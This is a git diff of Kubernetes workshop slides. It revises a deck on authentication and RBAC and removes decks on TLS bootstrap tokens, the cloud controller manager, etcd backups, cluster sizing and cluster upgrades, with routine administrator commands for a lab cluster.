 - [HTTP basic auth](https://en.wikipedia.org/wiki/Basic_access_authentication)
 
-  (carrying user and password in an HTTP header)
+  (carrying user and password in a HTTP header)
 
 - Authentication proxy
 
@@ -88,7 +88,7 @@
 
   (i.e. they are not stored in etcd or anywhere else)
 
-- Users can be created (and added to groups) independently of the API
+- Users can be created (and given membership to groups) independently of the API
 
 - The Kubernetes API can be set up to use your custom CA to validate client certs
 
@@ -143,21 +143,19 @@ class: extra-details
 
   (see issue [#18982](https://github.com/kubernetes/kubernetes/issues/18982))
 
-- As a result, we don't have an easy way to terminate someone's access
+- As a result, we cannot easily suspend a user's access
 
-  (if their key is compromised, or they leave the organization)
+- There are workarounds, but they are very inconvenient:
 
-- Option 1: re-create a new CA and re-issue everyone's certificates 
-  <br/>
-  → Maybe OK if we only have a few users; no way otherwise
+  - issue short-lived certificates (e.g. 24 hours) and regenerate them often
 
-- Option 2: don't use groups; grant permissions to individual users
-  <br/>
-  → Inconvenient if we have many users and teams; error-prone
+  - re-create the CA and re-issue all certificates in case of compromise
 
-- Option 3: issue short-lived certificates (e.g. 24 hours) and renew them often
-  <br/>
-  → This can be facilitated by e.g. Vault or by the Kubernetes CSR API
+  - grant permissions to individual users, not groups
+    <br/>
+    (and remove all permissions to a compromised user)
+
+- Until this is fixed, we probably want to use other methods
 
 ---
 
@@ -193,7 +191,7 @@ class: extra-details
 
   (the kind that you can view with `kubectl get secrets`)
 
-- Service accounts are generally used to grant permissions to applications, services...
+- Service accounts are generally used to grant permissions to applications, services ...
 
   (as opposed to humans)
 
@@ -217,7 +215,7 @@ class: extra-details
 
 .exercise[
 
-- The resource name is `serviceaccount` or `sa` for short:
+- The resource name is `serviceaccount` or `sa` in short:
   ```bash
   kubectl get sa
   ```
@@ -309,7 +307,7 @@ class: extra-details
 
 - The API "sees" us as a different user
 
-- But neither user has any rights, so we can't do nothin'
+- But neither user has any right, so we can't do nothin'
 
 - Let's change that!
 
@@ -339,9 +337,9 @@ class: extra-details
 
 - A rule is a combination of:
 
-  - [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) like create, get, list, update, delete...
+  - [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) like create, get, list, update, delete ...
 
-  - resources (as in "API resource," like pods, nodes, services...)
+  - resources (as in "API resource", like pods, nodes, services ...)
 
   - resource names (to specify e.g. one specific pod instead of all pods)
 
@@ -375,13 +373,13 @@ class: extra-details
 
 - We can also define API resources ClusterRole and ClusterRoleBinding
 
-- These are a superset, allowing us to:
+- These are a superset, allowing to:
 
   - specify actions on cluster-wide objects (like nodes)
 
   - operate across all namespaces
 
-- We can create Role and RoleBinding resources within a namespace
+- We can create Role and RoleBinding resources within a namespaces
 
 - ClusterRole and ClusterRoleBinding resources are global
 
@@ -389,13 +387,13 @@ class: extra-details
 
 ## Pods and service accounts
 
-- A pod can be associated with a service account
+- A pod can be associated to a service account
 
-  - by default, it is associated with the `default` service account
+  - by default, it is associated to the `default` service account
 
-  - as we saw earlier, this service account has no permissions anyway
+  - as we've seen earlier, this service account has no permission anyway
 
-- The associated token is exposed to the pod's filesystem
+- The associated token is exposed into the pod's filesystem
 
   (in `/var/run/secrets/kubernetes.io/serviceaccount/token`)
 
@@ -409,7 +407,7 @@ class: extra-details
 
 - We are going to create a service account
 
-- We will use a default cluster role (`view`)
+- We will use an existing cluster role (`view`)
 
 - We will bind together this role and this service account
 
@@ -460,7 +458,7 @@ class: extra-details
 
 ]
 
-It's important to note a couple of details in these flags...
+It's important to note a couple of details in these flags ...
 
 ---
 
@@ -493,13 +491,13 @@ It's important to note a couple of details in these flags...
 
   - again, the command would have worked fine (no error)
 
-  - ...but our API requests would have been denied later
+  - ... but our API requests would have been denied later
 
 - What's about the `default:` prefix?
 
   - that's the namespace of the service account
 
-  - yes, it could be inferred from context, but... `kubectl` requires it
+  - yes, it could be inferred from context, but ... `kubectl` requires it
 
 ---
 
@@ -576,51 +574,6 @@ It's important to note a couple of details in these flags...
 
 class: extra-details
 
-## Where does this `view` role come from?
-
-- Kubernetes defines a number of ClusterRoles intended to be bound to users
-
-- `cluster-admin` can do *everything* (think `root` on UNIX)
-
-- `admin` can do *almost everything* (except e.g. changing resource quotas and limits)
-
-- `edit` is similar to `admin`, but cannot view or edit permissions
-
-- `view` has read-only access to most resources, except permissions and secrets
-
-*In many situations, these roles will be all you need.*
-
-*You can also customize them!*
-
----
-
-class: extra-details
-
-## Customizing the default roles
-
-- If you need to *add* permissions to these default roles (or others),
-  <br/>
-  you can do it through the [ClusterRole Aggregation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles) mechanism
-
-- This happens by creating a ClusterRole with the following labels:
-  ```yaml
-    metadata:
-      labels:
-        rbac.authorization.k8s.io/aggregate-to-admin: "true"
-        rbac.authorization.k8s.io/aggregate-to-edit: "true"
-        rbac.authorization.k8s.io/aggregate-to-view: "true"
-  ```
-
-- This ClusterRole permissions will be added to `admin`/`edit`/`view` respectively
-
-- This is particulary useful when using CustomResourceDefinitions
-
-  (since Kubernetes cannot guess which resources are sensitive and which ones aren't)
-
----
-
-class: extra-details
-
 ## Where do our permissions come from?
 
 - When interacting with the Kubernetes API, we are using a client certificate
@@ -652,7 +605,7 @@ class: extra-details
   kubectl describe clusterrolebinding cluster-admin
   ```
 
-- This binding associates `system:masters` with the cluster role `cluster-admin`
+- This binding associates `system:masters` to the cluster role `cluster-admin`
 
 - And the `cluster-admin` is, basically, `root`:
   ```bash
@@ -667,7 +620,7 @@ class: extra-details
 
 - For auditing purposes, sometimes we want to know who can perform an action
 
-- There is a proof-of-concept tool by Aqua Security which does exactly that:
+- Here is a proof-of-concept tool by Aqua Security, doing exactly that:
 
   https://github.com/aquasecurity/kubectl-who-can
 

slides/k8s/bootstrap.md

@@ -1,259 +0,0 @@
-# TLS bootstrap
-
-- kubelet needs TLS keys and certificates to communicate with the control plane
-
-- How do we generate this information?
-
-- How do we make it available to kubelet?
-
----
-
-## Option 1: push
-
-- When we want to provision a node:
-
-  - generate its keys, certificate, and sign centrally
-
-  - push the files to the node
-
-- OK for "traditional", on-premises deployments
-
-- Not OK for cloud deployments with auto-scaling
-
----
-
-## Option 2: poll + push
-
-- Discover nodes when they are created
-
-  (e.g. with cloud API)
-
-- When we detect a new node, push TLS material to the node
-
-  (like in option 1)
-
-- It works, but:
-
-  - discovery code is specific to each provider
-
-  - relies heavily on the cloud provider API
-
-  - doesn't work on-premises
-
-  - doesn't scale
-
----
-
-## Option 3: bootstrap tokens + CSR API
-
-- Since Kubernetes 1.4, the Kubernetes API supports CSR
-
-  (Certificate Signing Requests)
-
-- This is similar to the protocol used to obtain e.g. HTTPS certificates:
-
-  - subject (here, kubelet) generates TLS keys and CSR
-
-  - subject submits CSR to CA
-
-  - CA validates (or not) the CSR
-
-  - CA sends back signed certificate to subject
-
-- This is combined with *bootstrap tokens*
-
----
-
-## Bootstrap tokens
-
-- A [bootstrap token](https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/) is an API access token
-
-  - it is a Secret with type `bootstrap.kubernetes.io/token`
-
-  - it is 6 public characters (ID) + 16 secret characters
-    <br/>(example: `whd3pq.d1ushuf6ccisjacu`)
-
-  - it gives access to groups `system:bootstrap:<ID>` and `system:bootstrappers`
-   
-   - additional groups can be specified in the Secret
-
----
-
-## Bootstrap tokens with kubeadm
-
-- kubeadm automatically creates a bootstrap token
-
-  (it is shown at the end of `kubeadm init`)
-
-- That token adds the group `system:bootstrappers:kubeadm:default-node-token`
-
-- kubeadm also creates a ClusterRoleBinding `kubeadm:kubelet-bootstrap`
-  <br/>binding `...:default-node-token` to ClusterRole `system:node-bootstrapper`
-
-- That ClusterRole gives create/get/list/watch permissions on the CSR API
-
----
-
-## Bootstrap tokens in practice
-
-- Let's list our bootstrap tokens on a cluster created with kubeadm
-
-.exercise[
-
-- Log into node `test1`
-
-- View bootstrap tokens:
-  ```bash
-  sudo kubeadm token list
-  ```
-
-]
-
-- Tokens are short-lived
-
-- We can create new tokens with `kubeadm` if necessary
-
----
-
-class: extra-details
-
-## Retrieving bootstrap tokens with kubectl
-
-- Bootstrap tokens are Secrets with type `bootstrap.kubernetes.io/token`
-
-- Token ID and secret are in data fields `token-id` and `token-secret`
-
-- In Secrets, data fields are encoded with Base64
-
-- This "very simple" command will show us the tokens:
-
-```
-kubectl -n kube-system get secrets -o json | 
-        jq -r '.items[] 
-        | select(.type=="bootstrap.kubernetes.io/token")
-        | ( .data["token-id"] + "Lg==" + .data["token-secret"] + "Cg==")
-        ' | base64 -d
-```
-
-(On recent versions of `jq`, you can simplify by using filter `@base64d`.)
-
----
-
-class: extra-details
-
-## Using a bootstrap token
-
-- The token we need to use has the form `abcdef.1234567890abcdef`
-
-.exercise[
-
-- Check that it is accepted by the API server:
-  ```bash
-  curl -k -H "Authorization: Bearer abcdef.1234567890abcdef"
-  ```
-
-- We should see that we are *authenticated* but not *authorized*:
-  ```
-  User \"system:bootstrap:abcdef\" cannot get path \"/\""
-  ```
-
-- Check that we can access the CSR API:
-  ```bash
-  curl -k -H "Authorization: Bearer abcdef.1234567890abcdef" \
-       https://10.96.0.1/apis/certificates.k8s.io/v1beta1/certificatesigningrequests
-  ```
-
-]
-
----
-
-## The cluster-info ConfigMap
-
-- Before we can talk to the API, we need:
-
-  - the API server address (obviously!)
-
-  - the cluster CA certificate
-
-- That information is stored in a public ConfigMap
-
-.exercise[
-
-- Retrieve that ConfigMap:
-  ```bash
-  curl -k https://10.96.0.1/api/v1/namespaces/kube-public/configmaps/cluster-info
-  ```
-
-]
-
-*Extracting the kubeconfig file is left as an exercise for the reader.*
-
----
-
-class: extra-details
-
-## Signature of the config-map
-
-- You might have noticed a few `jws-kubeconfig-...` fields
-
-- These are config-map signatures
-
-  (so that the client can protect against MITM attacks)
-
-- These are JWS signatures using HMAC-SHA256
-
-  (see [here](https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/#configmap-signing) for more details)
-
----
-
-## Putting it all together
-
-This is the TLS bootstrap mechanism, step by step.
-
-- The node uses the cluster-info ConfigMap to get the cluster CA certificate
-
-- The node generates its keys and CSR
-
-- Using the bootstrap token, the node creates a CertificateSigningRequest object
-
-- The node watches the CSR object
-
-- The CSR object is accepted (automatically or by an admin)
-
-- The node gets notified, and retrieves the certificate
-
-- The node can now join the cluster
-
----
-
-## Bottom line
-
-- If you paid attention, we still need a way to:
-
-  - either safely get the bootstrap token to the nodes
-
-  - or disable auto-approval and manually approve the nodes when they join
-
-- The goal of the TLS bootstrap mechanism is *not* to solve this
-
-  (in terms of information knowledge, it's fundamentally impossible!)
-
-- But it reduces the differences between environments, infrastructures, providers ...
-
-- It gives a mechanism that is easier to use, and flexible enough, for most scenarios
-
----
-
-## More information
-
-- As always, the Kubernetes documentation has extra details:
-
-  - [TLS management](https://kubernetes.io/docs/tasks/tls/managing-tls-in-a-cluster/)
-
-  - [Authenticating with bootstrap tokens](https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/)
-
-  - [TLS bootstrapping](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)
-
-  - [kubeadm token](https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-token/) command
-
-  - [kubeadm join](https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-join/) command (has details about [the join workflow](https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-join/#join-workflow))

slides/k8s/cloud-controller-manager.md

@@ -1,144 +0,0 @@
-# The Cloud Controller Manager
-
-- Kubernetes has many features that are cloud-specific
-
-  (e.g. providing cloud load balancers when a Service of type LoadBalancer is created)
-
-- These features were initially implemented in API server and controller manager
-
-- Since Kubernetes 1.6, these features are available through a separate process:
-
-  the *Cloud Controller Manager*
-
-- The CCM is optional, but if we run in a cloud, we probably want it!
-
----
-
-## Cloud Controller Manager duties
-
-- Creating and updating cloud load balancers
-
-- Configuring routing tables in the cloud network (specific to GCE)
-
-- Updating node labels to indicate region, zone, instance type...
-
-- Obtain node name, internal and external addresses from cloud metadata service
-
-- Deleting nodes from Kubernetes when they're deleted in the cloud
-
-- Managing *some* volumes (e.g. ELBs, AzureDisks...)
-
-  (Eventually, volumes will be managed by the Container Storage Interface)
-
----
-
-## In-tree vs. out-of-tree
-
-- A number of cloud providers are supported "in-tree"
-
-  (in the main kubernetes/kubernetes repository on GitHub)
-
-- More cloud providers are supported "out-of-tree"
-
-  (with code in different repositories)
-
-- There is an [ongoing effort](https://github.com/kubernetes/kubernetes/tree/master/pkg/cloudprovider) to move everything to out-of-tree providers
-
----
-
-## In-tree providers
-
-The following providers are actively maintained:
-
-- Amazon Web Services
-- Azure
-- Google Compute Engine
-- IBM Cloud
-- OpenStack
-- VMware vSphere
-
-These ones are less actively maintained:
-
-- Apache CloudStack
-- oVirt
-- VMware Photon
-
----
-
-## Out-of-tree providers
-
-The list includes the following providers:
-
-- DigitalOcean
-
-- keepalived (not exactly a cloud; provides VIPs for load balancers)
-
-- Linode
-
-- Oracle Cloud Infrastructure
-
-(And possibly others; there is no central registry for these.)
-
----
-
-## Audience questions
-
-- What kind of clouds are you using/planning to use?
-
-- What kind of details would you like to see in this section?
-
-- Would you appreciate details on clouds that you don't / won't use?
-
----
-
-## Cloud Controller Manager in practice
-
-- Write a configuration file
-
-  (typically `/etc/kubernetes/cloud.conf`)
-
-- Run the CCM process
-
-  (on self-hosted clusters, this can be a DaemonSet selecting the control plane nodes)
-
-- Start kubelet with `--cloud-provider=external`
-
-- When using managed clusters, this is done automatically
-
-- There is very little documentation on writing the configuration file
-
-  (except for OpenStack)
-
----
-
-## Bootstrapping challenges
-
-- When a node joins the cluster, it needs to obtain a signed TLS certificate
-
-- That certificate must contain the node's addresses
-
-- These addresses are provided by the Cloud Controller Manager
-
-  (at least the external address)
-
-- To get these addresses, the node needs to communicate with the control plane
-
-- ...Which means joining the cluster
-
-(The problem didn't occur when cloud-specific code was running in kubelet: kubelet could obtain the required information directly from the cloud provider's metadata service.)
-
----
-
-## More information about CCM
-
-- CCM configuration and operation is highly specific to each cloud provider
-
-  (which is why this section remains very generic)
-
-- The Kubernetes documentation has *some* information:
-
-  - [architecture and diagrams](https://kubernetes.io/docs/concepts/architecture/cloud-controller/)
-
-  - [configuration](https://kubernetes.io/docs/concepts/cluster-administration/cloud-providers/) (mainly for OpenStack)
-
-  - [deployment](https://kubernetes.io/docs/tasks/administer-cluster/running-cloud-controller/)

slides/k8s/cluster-backup.md

@@ -1,362 +0,0 @@
-# Backing up clusters
-
-- Backups can have multiple purposes:
-
-  - disaster recovery (servers or storage are destroyed or unreachable)
-
-  - error recovery (human or process has altered or corrupted data)
-
-  - cloning environments (for testing, validation...)
-
-- Let's see the strategies and tools available with Kubernetes!
-
----
-
-## Important
-
-- Kubernetes helps us with disaster recovery
-
-  (it gives us replication primitives)
-
-- Kubernetes helps us clone / replicate environments
-
-  (all resources can be described with manifests)
-
-- Kubernetes *does not* help us with error recovery
-
-- We still need to back up/snapshot our data:
-
-  - with database backups (mysqldump, pgdump, etc.)
-
-  - and/or snapshots at the storage layer
-
-  - and/or traditional full disk backups
-
----
-
-## In a perfect world ...
-
-- The deployment of our Kubernetes clusters is automated
-
-  (recreating a cluster takes less than a minute of human time)
-
-- All the resources (Deployments, Services...) on our clusters are under version control
-
-  (never use `kubectl run`; always apply YAML files coming from a repository)
-
-- Stateful components are either:
-
-  - stored on systems with regular snapshots
-
-  - backed up regularly to an external, durable storage
-
-  - outside of Kubernetes
-
----
-
-## Kubernetes cluster deployment
-
-- If our deployment system isn't fully automated, it should at least be documented
-
-- Litmus test: how long does it take to deploy a cluster...
-
-  - for a senior engineer?
-
-  - for a new hire?
-
-- Does it require external intervention?
-
-  (e.g. provisioning servers, signing TLS certs...)
-
----
-
-## Plan B
-
-- Full machine backups of the control plane can help
-
-- If the control plane is in pods (or containers), pay attention to storage drivers
-
-  (if the backup mechanism is not container-aware, the backups can take way more resources than they should, or even be unusable!)
-
-- If the previous sentence worries you:
-
-  **automate the deployment of your clusters!**
-
----
-
-## Managing our Kubernetes resources
-
-- Ideal scenario:
-
-  - never create a resource directly on a cluster
-
-  - push to a code repository
-
-  - a special branch (`production` or even `master`) gets automatically deployed
-
-- Some folks call this "GitOps"
-
-  (it's the logical evolution of configuration management and infrastructure as code)
-
----
-
-## GitOps in theory
-
-- What do we keep in version control?
-
-- For very simple scenarios: source code, Dockerfiles, scripts
-
-- For real applications: add resources (as YAML files)
-
-- For applications deployed multiple times: Helm, Kustomize...
-
-  (staging and production count as "multiple times")
-
----
-
-## GitOps tooling
-
-- Various tools exist (Weave Flux, GitKube...)
-
-- These tools are still very young
-
-- You still need to write YAML for all your resources
-
-- There is no tool to:
-
-  - list *all* resources in a namespace
-
-  - get resource YAML in a canonical form
-
-  - diff YAML descriptions with current state
-
----
-
-## GitOps in practice
-
-- Start describing your resources with YAML
-
-- Leverage a tool like Kustomize or Helm
-
-- Make sure that you can easily deploy to a new namespace
-
-  (or even better: to a new cluster)
-
-- When tooling matures, you will be ready
-
----
-
-## Plan B
-
-- What if we can't describe everything with YAML?
-
-- What if we manually create resources and forget to commit them to source control?
-
-- What about global resources, that don't live in a namespace?
-
-- How can we be sure that we saved *everything*?
-
----
-
-## Backing up etcd
-
-- All objects are saved in etcd
-
-- etcd data should be relatively small
-
-  (and therefore, quick and easy to back up)
-
-- Two options to back up etcd:
-
-  - snapshot the data directory
-
-  - use `etcdctl snapshot`
-
----
-
-## Making an etcd snapshot
-
-- The basic command is simple:
-  ```bash
-  etcdctl snapshot save <filename>
-  ```
-
-- But we also need to specify:
-
-  - an environment variable to specify that we want etcdctl v3
-
-  - the address of the server to back up
-
-  - the path to the key, certificate, and CA certificate
-    <br/>(if our etcd uses TLS certificates)
-
----
-
-## Snapshotting etcd on kubeadm
-
-- The following command will work on clusters deployed with kubeadm
-
-  (and maybe others)
-
-- It should be executed on a master node
-
-```bash
-docker run --rm --net host -v $PWD:/vol \
-    -v /etc/kubernetes/pki/etcd:/etc/kubernetes/pki/etcd:ro \
-    -e ETCDCTL_API=3 k8s.gcr.io/etcd:3.3.10 \
-    etcdctl --endpoints=https://[127.0.0.1]:2379 \
-            --cacert=/etc/kubernetes/pki/etcd/ca.crt \
-            --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
-            --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
-            snapshot save /vol/snapshot
-```
-
-- It will create a file named `snapshot` in the current directory
-
----
-
-## How can we remember all these flags?
-
-- Look at the static pod manifest for etcd
-
-  (in `/etc/kubernetes/manifests`)
-
-- The healthcheck probe is calling `etcdctl` with all the right flags 
-  😉👍✌️
-
-- Exercise: write the YAML for a batch job to perform the backup
-
----
-
-## Restoring an etcd snapshot
-
-- ~~Execute exactly the same command, but replacing `save` with `restore`~~
-
-  (Believe it or not, doing that will *not* do anything useful!)
-
-- The `restore` command does *not* load a snapshot into a running etcd server
-
-- The `restore` command creates a new data directory from the snapshot
-
-  (it's an offline operation; it doesn't interact with an etcd server)
-
-- It will create a new data directory in a temporary container
-
-  (leaving the running etcd node untouched)
-
----
-
-## When using kubeadm
-
-1. Create a new data directory from the snapshot:
-   ```bash
-   sudo rm -rf /var/lib/etcd
-   docker run --rm -v /var/lib:/var/lib -v $PWD:/vol \
-          -e ETCDCTL_API=3 k8s.gcr.io/etcd:3.3.10 \
-          etcdctl snapshot restore /vol/snapshot --data-dir=/var/lib/etcd
-   ```
-
-2. Provision the control plane, using that data directory:
-   ```bash
-   sudo kubeadm init \
-        --ignore-preflight-errors=DirAvailable--var-lib-etcd
-   ```
-
-3. Rejoin the other nodes
-
----
-
-## The fine print
-
-- This only saves etcd state
-
-- It **does not** save persistent volumes and local node data
-
-- Some critical components (like the pod network) might need to be reset
-
-- As a result, our pods might have to be recreated, too
-
-- If we have proper liveness checks, this should happen automatically
-
----
-
-## More information about etcd backups
-
-- [Kubernetes documentation](https://kubernetes.io/docs/tasks/administer-cluster/configure-upgrade-etcd/#built-in-snapshot) about etcd backups
-
-- [etcd documentation](https://coreos.com/etcd/docs/latest/op-guide/recovery.html#snapshotting-the-keyspace) about snapshots and restore
-
-- [A good blog post by elastisys](https://elastisys.com/2018/12/10/backup-kubernetes-how-and-why/) explaining how to restore a snapshot
-
-- [Another good blog post by consol labs](https://labs.consol.de/kubernetes/2018/05/25/kubeadm-backup.html) on the same topic
-
----
-
-## Don't forget ...
-
-- Also back up the TLS information
-
-  (at the very least: CA key and cert; API server key and cert)
-
-- With clusters provisioned by kubeadm, this is in `/etc/kubernetes/pki`
-
-- If you don't:
-
-  - you will still be able to restore etcd state and bring everything back up
-
-  - you will need to redistribute user certificates
-
-.warning[**TLS information is highly sensitive! 
-<br/>Anyone who has it has full access to your cluster!**]
-
----
-
-## Stateful services
-
-- It's totally fine to keep your production databases outside of Kubernetes
-
-  *Especially if you have only one database server!*
-
-- Feel free to put development and staging databases on Kubernetes
-
-  (as long as they don't hold important data)
-
-- Using Kubernetes for stateful services makes sense if you have *many*
-
-  (because then you can leverage Kubernetes automation)
-
----
-
-## Snapshotting persistent volumes
-
-- Option 1: snapshot volumes out of band
-
-  (with the API/CLI/GUI of our SAN/cloud/...)
-
-- Option 2: storage system integration
-
-  (e.g. [Portworx](https://docs.portworx.com/portworx-install-with-kubernetes/storage-operations/create-snapshots/) can [create snapshots through annotations](https://docs.portworx.com/portworx-install-with-kubernetes/storage-operations/create-snapshots/snaps-annotations/#taking-periodic-snapshots-on-a-running-pod))
-
-- Option 3: [snapshots through Kubernetes API](https://kubernetes.io/blog/2018/10/09/introducing-volume-snapshot-alpha-for-kubernetes/)
-
-  (now in alpha for a few storage providers: GCE, OpenSDS, Ceph, Portworx)
-
----
-
-## More backup tools
-
-- [Stash](https://appscode.com/products/stash/)
-
-  back up Kubernetes persistent volumes
-
-- [ReShifter](https://github.com/mhausenblas/reshifter)
-
-  cluster state management
-
-- ~~Heptio Ark~~ [Velero](https://github.com/heptio/velero)
-
-  full cluster backup
-
-- [kube-backup](https://github.com/pieterlange/kube-backup)
-
-  simple scripts to save resource YAML to a git repository

slides/k8s/cluster-sizing.md

@@ -1,167 +0,0 @@
-# Cluster sizing
-
-- What happens when the cluster gets full?
-
-- How can we scale up the cluster?
-
-- Can we do it automatically?
-
-- What are other methods to address capacity planning?
-
----
-
-## When are we out of resources?
-
-- kubelet monitors node resources:
-
-  - memory
-
-  - node disk usage (typically the root filesystem of the node)
-
-  - image disk usage (where container images and RW layers are stored)
-
-- For each resource, we can provide two thresholds:
-
-  - a hard threshold (if it's met, it provokes immediate action)
-
-  - a soft threshold (provokes action only after a grace period)
-
-- Resource thresholds and grace periods are configurable
-
-  (by passing kubelet command-line flags)
-
----
-
-## What happens then?
-
-- If disk usage is too high:
-
-  - kubelet will try to remove terminated pods
-
-  - then, it will try to *evict* pods
-
-- If memory usage is too high:
-
-  - it will try to evict pods
-
-- The node is marked as "under pressure"
-
-- This temporarily prevents new pods from being scheduled on the node
-
----
-
-## Which pods get evicted?
-
-- kubelet looks at the pods' QoS and PriorityClass
-
-- First, pods with BestEffort QoS are considered
-
-- Then, pods with Burstable QoS exceeding their *requests*
-
-  (but only if the exceeding resource is the one that is low on the node)
-
-- Finally, pods with Guaranteed QoS, and Burstable pods within their requests
-
-- Within each group, pods are sorted by PriorityClass
-
-- If there are pods with the same PriorityClass, they are sorted by usage excess
-
-  (i.e. the pods whose usage exceeds their requests the most are evicted first)
-
----
-
-class: extra-details
-
-## Eviction of Guaranteed pods
-
-- *Normally*, pods with Guaranteed QoS should not be evicted
-
-- A chunk of resources is reserved for node processes (like kubelet)
-
-- It is expected that these processes won't use more than this reservation
-
-- If they do use more resources anyway, all bets are off!
-
-- If this happens, kubelet must evict Guaranteed pods to preserve node stability
-
-  (or Burstable pods that are still within their requested usage)
-
----
-
-## What happens to evicted pods?
-
-- The pod is terminated
-
-- It is marked as `Failed` at the API level
-
-- If the pod was created by a controller, the controller will recreate it
-
-- The pod will be recreated on another node, *if there are resources available!*
-
-- For more details about the eviction process, see:
-
-  - [this documentation page](https://kubernetes.io/docs/tasks/administer-cluster/out-of-resource/) about resource pressure and pod eviction,
-
-  - [this other documentation page](https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/) about pod priority and preemption.
-
----
-
-## What if there are no resources available?
-
-- Sometimes, a pod cannot be scheduled anywhere:
-
-  - all the nodes are under pressure,
-
-  - or the pod requests more resources than are available
-
-- The pod then remains in `Pending` state until the situation improves
-
----
-
-## Cluster scaling
-
-- One way to improve the situation is to add new nodes
-
-- This can be done automatically with the [Cluster Autoscaler](https://github.com/kubernetes/autoscaler/tree/master/cluster-autoscaler)
-
-- The autoscaler will automatically scale up:
-
-  - if there are pods that failed to be scheduled
-
-- The autoscaler will automatically scale down:
-
-  - if nodes have a low utilization for an extended period of time
-
----
-
-## Restrictions, gotchas ...
-
-- The Cluster Autoscaler only supports a few cloud infrastructures
-
-  (see [here](https://github.com/kubernetes/autoscaler/tree/master/cluster-autoscaler/cloudprovider) for a list)
-
-- The Cluster Autoscaler cannot scale down nodes that have pods using:
-
-  - local storage
-
-  - affinity/anti-affinity rules preventing them from being rescheduled
-
-  - a restrictive PodDisruptionBudget
-
----
-
-## Other way to do capacity planning
-
-- "Running Kubernetes without nodes"
-
-- Systems like [Virtual Kubelet](https://virtual-kubelet.io/) or Kiyot can run pods using on-demand resources
-
-  - Virtual Kubelet can leverage e.g. ACI or Fargate to run pods
-
-  - Kiyot runs pods in ad-hoc EC2 instances (1 instance per pod)
-
-- Economic advantage (no wasted capacity)
-
-- Security advantage (stronger isolation between pods)
-
-Check [this blog post](http://jpetazzo.github.io/2019/02/13/running-kubernetes-without-nodes-with-kiyot/) for more details.

slides/k8s/cluster-upgrade.md

@@ -1,309 +0,0 @@
-# Upgrading clusters
-
-- It's *recommended* to run consistent versions across a cluster
-
-  (mostly to have feature parity and latest security updates)
-
-- It's not *mandatory*
-
-  (otherwise, cluster upgrades would be a nightmare!)
-
-- Components can be upgraded one at a time without problems
-
----
-
-## Checking what we're running
-
-- It's easy to check the version for the API server
-
-.exercise[
-
-- Log into node `test1`
-
-- Check the version of kubectl and of the API server:
-  ```bash
-  kubectl version
-  ```
-
-]
-
-- In a HA setup with multiple API servers, they can have different versions
-
-- Running the command above multiple times can return different values
-
----
-
-## Node versions
-
-- It's also easy to check the version of kubelet
-
-.exercise[
-
-- Check node versions (includes kubelet, kernel, container engine):
-  ```bash
-  kubectl get nodes -o wide
-  ```
-
-]
-
-- Different nodes can run different kubelet versions
-
-- Different nodes can run different kernel versions
-
-- Different nodes can run different container engines
-
----
-
-## Control plane versions
-
-- If the control plane is self-hosted (running in pods), we can check it
-
-.exercise[
-
-- Show image versions for all pods in `kube-system` namespace:
-  ```bash
-    kubectl --namespace=kube-system get pods -o json \
-            | jq -r '
-              .items[]
-              | [.spec.nodeName, .metadata.name]
-                + 
-                (.spec.containers[].image | split(":"))
-              | @tsv
-              ' \
-            | column -t
-  ```
-
-]
-
----
-
-## What version are we running anyway?
-
-- When I say, "I'm running Kubernetes 1.11", is that the version of:
-
-  - kubectl
-
-  - API server
-
-  - kubelet
-
-  - controller manager
-
-  - something else?
-
----
-
-## Other versions that are important
-
-- etcd
-
-- kube-dns or CoreDNS
-
-- CNI plugin(s)
-
-- Network controller, network policy controller
-
-- Container engine
-
-- Linux kernel
-
----
-
-## General guidelines
-
-- To update a component, use whatever was used to install it
-
-- If it's a distro package, update that distro package
-
-- If it's a container or pod, update that container or pod
-
-- If you used configuration management, update with that
-
----
-
-## Know where your binaries come from
-
-- Sometimes, we need to upgrade *quickly*
-
-  (when a vulnerability is announced and patched)
-
-- If we are using an installer, we should:
-
-  - make sure it's using upstream packages
-
-  - or make sure that whatever packages it uses are current
-
-  - make sure we can tell it to pin specific component versions
-
----
-
-## In practice
-
-- We are going to update a few cluster components
-
-- We will change the kubelet version on one node
-
-- We will change the version of the API server
-
-- We will work with cluster `test` (nodes `test1`, `test2`, `test3`)
-
----
-
-## Updating kubelet
-
-- These nodes have been installed using the official Kubernetes packages
-
-- We can therefore use `apt` or `apt-get`
-
-.exercise[
-
-- Log into node `test3`
-
-- View available versions for package `kubelet`:
-  ```bash
-  apt show kubelet -a | grep ^Version
-  ```
-
-- Upgrade kubelet:
-  ```bash
-  apt install kubelet=1.14.2-00
-  ```
-
-]
-
----
-
-## Checking what we've done
-
-.exercise[
-
-- Log into node `test1`
-
-- Check node versions:
-  ```bash
-  kubectl get nodes -o wide
-  ```
-
-- Create a deployment and scale it to make sure that the node still works
-
-]
-
----
-
-## Updating the API server
-
-- This cluster has been deployed with kubeadm
-
-- The control plane runs in *static pods*
-
-- These pods are started automatically by kubelet
-
-  (even when kubelet can't contact the API server)
-
-- They are defined in YAML files in `/etc/kubernetes/manifests`
-
-  (this path is set by a kubelet command-line flag)
-
-- kubelet automatically updates the pods when the files are changed
-
----
-
-## Changing the API server version
-
-- We will edit the YAML file to use a different image version
-
-.exercise[
-
-- Log into node `test1`
-
-- Check API server version:
-  ```bash
-  kubectl version
-  ```
-
-- Edit the API server pod manifest:
-  ```bash
-  sudo vim /etc/kubernetes/manifests/kube-apiserver.yaml
-  ```
-
-- Look for the `image:` line, and update it to e.g. `v1.14.0`
-
-]
-
----
-
-## Checking what we've done
-
-- The API server will be briefly unavailable while kubelet restarts it
-
-.exercise[
-
-- Check the API server version:
-  ```bash
-  kubectl version
-  ```
-
-]
-
----
-
-## Updating the whole control plane
-
-- As an example, we'll use kubeadm to upgrade the entire control plane
-
-  (note: this is possible only because the cluster was installed with kubeadm)
-
-.exercise[
-
